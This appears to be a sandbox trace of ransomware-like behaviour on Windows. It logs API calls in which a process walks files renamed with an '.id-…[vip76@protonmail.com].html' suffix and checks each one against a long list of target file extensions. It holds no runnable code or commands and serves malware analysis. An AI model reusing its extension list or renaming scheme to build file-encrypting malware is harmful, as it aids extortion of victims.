	[0165.159] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[vip76@protonmail.com].html") returned 77
	[0165.159] lstrlenW (lpString=".1cd") returned 4
	[0165.159] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0165.159] lstrlenW (lpString=".3ds") returned 4
	[0165.159] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0165.159] lstrlenW (lpString=".3fr") returned 4
	[0165.159] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0165.159] lstrlenW (lpString=".3g2") returned 4
	[0165.159] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0165.159] lstrlenW (lpString=".3gp") returned 4
	[0165.159] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0165.159] lstrlenW (lpString=".7z") returned 3
	[0165.159] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0165.159] lstrlenW (lpString=".accda") returned 6
	[0165.159] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0165.159] lstrlenW (lpString=".accdb") returned 6
	[0165.159] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0165.160] lstrlenW (lpString=".accdc") returned 6
	[0165.160] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0165.160] lstrlenW (lpString=".accde") returned 6
	[0165.160] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0165.160] lstrlenW (lpString=".accdt") returned 6
	[0165.160] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0165.160] lstrlenW (lpString=".accdw") returned 6
	[0165.160] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0165.160] lstrlenW (lpString=".adb") returned 4
	[0165.160] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0165.160] lstrlenW (lpString=".adp") returned 4
	[0165.160] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0165.160] lstrlenW (lpString=".ai") returned 3
	[0165.160] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0165.160] lstrlenW (lpString=".ai3") returned 4
	[0165.160] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0165.160] lstrlenW (lpString=".ai4") returned 4
	[0165.160] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0165.160] lstrlenW (lpString=".ai5") returned 4
	[0165.160] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0165.160] lstrlenW (lpString=".ai6") returned 4
	[0165.160] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0165.160] lstrlenW (lpString=".ai7") returned 4
	[0165.160] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0165.160] lstrlenW (lpString=".ai8") returned 4
	[0165.160] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0165.160] lstrlenW (lpString=".anim") returned 5
	[0165.160] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0165.160] lstrlenW (lpString=".arw") returned 4
	[0165.160] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0165.161] lstrlenW (lpString=".as") returned 3
	[0165.161] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0165.161] lstrlenW (lpString=".asa") returned 4
	[0165.161] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0165.161] lstrlenW (lpString=".asc") returned 4
	[0165.161] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0165.161] lstrlenW (lpString=".ascx") returned 5
	[0165.161] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0165.161] lstrlenW (lpString=".asm") returned 4
	[0165.161] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0165.161] lstrlenW (lpString=".asmx") returned 5
	[0165.161] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0165.161] lstrlenW (lpString=".asp") returned 4
	[0165.161] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0165.161] lstrlenW (lpString=".aspx") returned 5
	[0165.161] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0165.161] lstrlenW (lpString=".asr") returned 4
	[0165.161] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0165.161] lstrlenW (lpString=".asx") returned 4
	[0165.161] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0165.161] lstrlenW (lpString=".avi") returned 4
	[0165.161] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0165.161] lstrlenW (lpString=".avs") returned 4
	[0165.161] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0165.161] lstrlenW (lpString=".backup") returned 7
	[0165.161] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0165.161] lstrlenW (lpString=".bak") returned 4
	[0165.161] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0165.161] lstrlenW (lpString=".bay") returned 4
	[0165.161] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0165.162] lstrlenW (lpString=".bd") returned 3
	[0165.162] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0165.162] lstrlenW (lpString=".bin") returned 4
	[0165.162] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0165.162] lstrlenW (lpString=".bmp") returned 4
	[0165.162] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0165.162] lstrlenW (lpString=".bz2") returned 4
	[0165.162] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0165.162] lstrlenW (lpString=".c") returned 2
	[0165.162] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0165.162] lstrlenW (lpString=".cdr") returned 4
	[0165.162] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0165.162] lstrlenW (lpString=".cer") returned 4
	[0165.162] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0165.162] lstrlenW (lpString=".cf") returned 3
	[0165.162] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0165.162] lstrlenW (lpString=".cfc") returned 4
	[0165.162] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0165.162] lstrlenW (lpString=".cfm") returned 4
	[0165.162] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0165.162] lstrlenW (lpString=".cfml") returned 5
	[0165.162] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0165.162] lstrlenW (lpString=".cfu") returned 4
	[0165.162] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0165.162] lstrlenW (lpString=".chm") returned 4
	[0165.162] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0165.162] lstrlenW (lpString=".cin") returned 4
	[0165.162] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0165.162] lstrlenW (lpString=".class") returned 6
	[0165.162] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0165.162] lstrlenW (lpString=".clx") returned 4
	[0165.162] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0165.162] lstrlenW (lpString=".config") returned 7
	[0165.163] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0165.163] lstrlenW (lpString=".cpp") returned 4
	[0165.163] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0165.163] lstrlenW (lpString=".cr2") returned 4
	[0165.163] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0165.163] lstrlenW (lpString=".crt") returned 4
	[0165.163] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0165.163] lstrlenW (lpString=".crw") returned 4
	[0165.163] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0165.163] lstrlenW (lpString=".cs") returned 3
	[0165.163] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0165.163] lstrlenW (lpString=".css") returned 4
	[0165.163] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0165.163] lstrlenW (lpString=".csv") returned 4
	[0165.163] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0165.163] lstrlenW (lpString=".cub") returned 4
	[0165.163] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0165.163] lstrlenW (lpString=".dae") returned 4
	[0165.163] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0165.163] lstrlenW (lpString=".dat") returned 4
	[0165.163] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0165.163] lstrlenW (lpString=".db") returned 3
	[0165.163] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0165.163] lstrlenW (lpString=".dbf") returned 4
	[0165.163] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0165.163] lstrlenW (lpString=".dbx") returned 4
	[0165.163] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0165.163] lstrlenW (lpString=".dc3") returned 4
	[0165.163] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0165.163] lstrlenW (lpString=".dcm") returned 4
	[0165.163] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0165.164] lstrlenW (lpString=".dcr") returned 4
	[0165.164] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0165.164] lstrlenW (lpString=".der") returned 4
	[0165.164] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0165.164] lstrlenW (lpString=".dib") returned 4
	[0165.164] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0165.164] lstrlenW (lpString=".dic") returned 4
	[0165.164] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0165.164] lstrlenW (lpString=".dif") returned 4
	[0165.164] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0165.164] lstrlenW (lpString=".divx") returned 5
	[0165.164] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0165.164] lstrlenW (lpString=".djvu") returned 5
	[0165.164] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0165.164] lstrlenW (lpString=".dng") returned 4
	[0165.164] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0165.164] lstrlenW (lpString=".doc") returned 4
	[0165.164] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0165.164] lstrlenW (lpString=".docm") returned 5
	[0165.164] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0165.164] lstrlenW (lpString=".docx") returned 5
	[0165.164] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0165.164] lstrlenW (lpString=".dot") returned 4
	[0165.164] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0165.164] lstrlenW (lpString=".dotm") returned 5
	[0165.164] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0165.164] lstrlenW (lpString=".dotx") returned 5
	[0165.164] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0165.164] lstrlenW (lpString=".dpx") returned 4
	[0165.164] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0165.164] lstrlenW (lpString=".dqy") returned 4
	[0165.164] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0165.164] lstrlenW (lpString=".dsn") returned 4
	[0165.165] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0165.165] lstrlenW (lpString=".dt") returned 3
	[0165.165] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0165.165] lstrlenW (lpString=".dtd") returned 4
	[0165.165] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0165.165] lstrlenW (lpString=".dwg") returned 4
	[0165.165] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0165.165] lstrlenW (lpString=".dwt") returned 4
	[0165.165] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0165.165] lstrlenW (lpString=".dx") returned 3
	[0165.165] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0165.165] lstrlenW (lpString=".dxf") returned 4
	[0165.165] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0165.165] lstrlenW (lpString=".edml") returned 5
	[0165.165] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0165.165] lstrlenW (lpString=".efd") returned 4
	[0165.165] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0165.165] lstrlenW (lpString=".elf") returned 4
	[0165.165] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0165.165] lstrlenW (lpString=".emf") returned 4
	[0165.165] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0165.165] lstrlenW (lpString=".emz") returned 4
	[0165.165] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0165.165] lstrlenW (lpString=".epf") returned 4
	[0165.165] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0165.165] lstrlenW (lpString=".eps") returned 4
	[0165.165] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0165.165] lstrlenW (lpString=".epsf") returned 5
	[0165.165] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0165.165] lstrlenW (lpString=".epsp") returned 5
	[0165.165] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0165.165] lstrlenW (lpString=".erf") returned 4
	[0165.165] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0165.166] lstrlenW (lpString=".exr") returned 4
	[0165.166] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0165.166] lstrlenW (lpString=".f4v") returned 4
	[0165.166] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0165.166] lstrlenW (lpString=".fido") returned 5
	[0165.166] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0165.166] lstrlenW (lpString=".flm") returned 4
	[0165.166] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0165.166] lstrlenW (lpString=".flv") returned 4
	[0165.166] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0165.166] lstrlenW (lpString=".frm") returned 4
	[0165.166] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0165.166] lstrlenW (lpString=".fxg") returned 4
	[0165.166] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0165.166] lstrlenW (lpString=".geo") returned 4
	[0165.166] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0165.166] lstrlenW (lpString=".gif") returned 4
	[0165.166] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0165.166] lstrlenW (lpString=".grs") returned 4
	[0165.166] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0165.166] lstrlenW (lpString=".gz") returned 3
	[0165.166] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0165.166] lstrlenW (lpString=".h") returned 2
	[0165.166] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0165.166] lstrlenW (lpString=".hdr") returned 4
	[0165.166] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0165.166] lstrlenW (lpString=".hpp") returned 4
	[0165.166] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0165.166] lstrlenW (lpString=".hta") returned 4
	[0165.166] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0165.166] lstrlenW (lpString=".htc") returned 4
	[0165.166] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0165.166] lstrlenW (lpString=".htm") returned 4
	[0165.167] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0165.167] lstrlenW (lpString=".html") returned 5
	[0165.167] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0165.167] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803696f3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x803696f3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803696f3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0xfffff243, dwReserved1=0x313, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="OOBE_2~1.HTM")) returned 1
	[0165.167] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[vip76@protonmail.com].html") returned 72
	[0165.167] lstrlenW (lpString=".1cd") returned 4
	[0165.167] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0165.167] lstrlenW (lpString=".3ds") returned 4
	[0165.167] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0165.168] lstrlenW (lpString=".3fr") returned 4
	[0165.168] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0165.168] lstrlenW (lpString=".3g2") returned 4
	[0165.168] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0165.168] lstrlenW (lpString=".3gp") returned 4
	[0165.168] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0165.168] lstrlenW (lpString=".7z") returned 3
	[0165.168] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0165.168] lstrlenW (lpString=".accda") returned 6
	[0165.168] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0165.168] lstrlenW (lpString=".accdb") returned 6
	[0165.168] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0165.168] lstrlenW (lpString=".accdc") returned 6
	[0165.168] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0165.168] lstrlenW (lpString=".accde") returned 6
	[0165.168] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0165.168] lstrlenW (lpString=".accdt") returned 6
	[0165.168] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0165.168] lstrlenW (lpString=".accdw") returned 6
	[0165.168] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0165.168] lstrlenW (lpString=".adb") returned 4
	[0165.168] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0165.168] lstrlenW (lpString=".adp") returned 4
	[0165.168] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0165.168] lstrlenW (lpString=".ai") returned 3
	[0165.168] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0165.168] lstrlenW (lpString=".ai3") returned 4
	[0165.168] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0165.168] lstrlenW (lpString=".ai4") returned 4
	[0165.169] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0165.169] lstrlenW (lpString=".ai5") returned 4
	[0165.169] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0165.169] lstrlenW (lpString=".ai6") returned 4
	[0165.169] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0165.169] lstrlenW (lpString=".ai7") returned 4
	[0165.169] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0165.169] lstrlenW (lpString=".ai8") returned 4
	[0165.169] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0165.169] lstrlenW (lpString=".anim") returned 5
	[0165.169] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0165.169] lstrlenW (lpString=".arw") returned 4
	[0165.169] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0165.169] lstrlenW (lpString=".as") returned 3
	[0165.169] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0165.169] lstrlenW (lpString=".asa") returned 4
	[0165.169] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0165.169] lstrlenW (lpString=".asc") returned 4
	[0165.169] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0165.169] lstrlenW (lpString=".ascx") returned 5
	[0165.169] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0165.169] lstrlenW (lpString=".asm") returned 4
	[0165.169] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0165.169] lstrlenW (lpString=".asmx") returned 5
	[0165.169] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0165.169] lstrlenW (lpString=".asp") returned 4
	[0165.169] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0165.169] lstrlenW (lpString=".aspx") returned 5
	[0165.169] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0165.169] lstrlenW (lpString=".asr") returned 4
	[0165.169] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0165.169] lstrlenW (lpString=".asx") returned 4
	[0165.169] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0165.170] lstrlenW (lpString=".avi") returned 4
	[0165.170] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0165.170] lstrlenW (lpString=".avs") returned 4
	[0165.170] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0165.170] lstrlenW (lpString=".backup") returned 7
	[0165.170] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0165.170] lstrlenW (lpString=".bak") returned 4
	[0165.170] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0165.170] lstrlenW (lpString=".bay") returned 4
	[0165.170] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0165.170] lstrlenW (lpString=".bd") returned 3
	[0165.170] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0165.170] lstrlenW (lpString=".bin") returned 4
	[0165.170] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0165.170] lstrlenW (lpString=".bmp") returned 4
	[0165.170] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0165.170] lstrlenW (lpString=".bz2") returned 4
	[0165.170] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0165.170] lstrlenW (lpString=".c") returned 2
	[0165.170] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0165.170] lstrlenW (lpString=".cdr") returned 4
	[0165.170] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0165.170] lstrlenW (lpString=".cer") returned 4
	[0165.170] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0165.170] lstrlenW (lpString=".cf") returned 3
	[0165.170] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0165.170] lstrlenW (lpString=".cfc") returned 4
	[0165.170] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0165.170] lstrlenW (lpString=".cfm") returned 4
	[0165.170] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0165.170] lstrlenW (lpString=".cfml") returned 5
	[0165.170] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0165.171] lstrlenW (lpString=".cfu") returned 4
	[0165.171] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0165.171] lstrlenW (lpString=".chm") returned 4
	[0165.171] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0165.171] lstrlenW (lpString=".cin") returned 4
	[0165.171] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0165.171] lstrlenW (lpString=".class") returned 6
	[0165.171] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0165.171] lstrlenW (lpString=".clx") returned 4
	[0165.171] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0165.171] lstrlenW (lpString=".config") returned 7
	[0165.171] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0165.171] lstrlenW (lpString=".cpp") returned 4
	[0165.171] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0165.171] lstrlenW (lpString=".cr2") returned 4
	[0165.171] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0165.171] lstrlenW (lpString=".crt") returned 4
	[0165.171] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0165.171] lstrlenW (lpString=".crw") returned 4
	[0165.171] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0165.171] lstrlenW (lpString=".cs") returned 3
	[0165.171] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0165.171] lstrlenW (lpString=".css") returned 4
	[0165.171] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0165.171] lstrlenW (lpString=".csv") returned 4
	[0165.171] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0165.171] lstrlenW (lpString=".cub") returned 4
	[0165.171] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0165.172] lstrlenW (lpString=".dae") returned 4
	[0165.172] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0165.172] lstrlenW (lpString=".dat") returned 4
	[0165.172] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0165.172] lstrlenW (lpString=".db") returned 3
	[0165.172] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0165.172] lstrlenW (lpString=".dbf") returned 4
	[0165.172] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0165.172] lstrlenW (lpString=".dbx") returned 4
	[0165.172] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0165.172] lstrlenW (lpString=".dc3") returned 4
	[0165.172] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0165.172] lstrlenW (lpString=".dcm") returned 4
	[0165.172] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0165.172] lstrlenW (lpString=".dcr") returned 4
	[0165.172] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0165.172] lstrlenW (lpString=".der") returned 4
	[0165.172] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0165.172] lstrlenW (lpString=".dib") returned 4
	[0165.172] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0165.172] lstrlenW (lpString=".dic") returned 4
	[0165.172] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0165.172] lstrlenW (lpString=".dif") returned 4
	[0165.172] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0165.172] lstrlenW (lpString=".divx") returned 5
	[0165.172] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0165.172] lstrlenW (lpString=".djvu") returned 5
	[0165.172] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0165.173] lstrlenW (lpString=".dng") returned 4
	[0165.173] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0165.173] lstrlenW (lpString=".doc") returned 4
	[0165.173] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0165.173] lstrlenW (lpString=".docm") returned 5
	[0165.173] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0165.173] lstrlenW (lpString=".docx") returned 5
	[0165.173] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0165.173] lstrlenW (lpString=".dot") returned 4
	[0165.173] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0165.173] lstrlenW (lpString=".dotm") returned 5
	[0165.173] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0165.173] lstrlenW (lpString=".dotx") returned 5
	[0165.173] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0165.173] lstrlenW (lpString=".dpx") returned 4
	[0165.173] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0165.173] lstrlenW (lpString=".dqy") returned 4
	[0165.173] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0165.173] lstrlenW (lpString=".dsn") returned 4
	[0165.173] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0165.173] lstrlenW (lpString=".dt") returned 3
	[0165.173] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0165.173] lstrlenW (lpString=".dtd") returned 4
	[0165.173] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0165.173] lstrlenW (lpString=".dwg") returned 4
	[0165.173] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0165.173] lstrlenW (lpString=".dwt") returned 4
	[0165.173] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0165.173] lstrlenW (lpString=".dx") returned 3
	[0165.173] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0165.173] lstrlenW (lpString=".dxf") returned 4
	[0165.174] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0165.174] lstrlenW (lpString=".edml") returned 5
	[0165.174] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0165.174] lstrlenW (lpString=".efd") returned 4
	[0165.174] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0165.174] lstrlenW (lpString=".elf") returned 4
	[0165.174] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0165.174] lstrlenW (lpString=".emf") returned 4
	[0165.174] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0165.174] lstrlenW (lpString=".emz") returned 4
	[0165.174] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0165.174] lstrlenW (lpString=".epf") returned 4
	[0165.174] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0165.174] lstrlenW (lpString=".eps") returned 4
	[0165.174] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0165.174] lstrlenW (lpString=".epsf") returned 5
	[0165.174] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0165.174] lstrlenW (lpString=".epsp") returned 5
	[0165.174] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
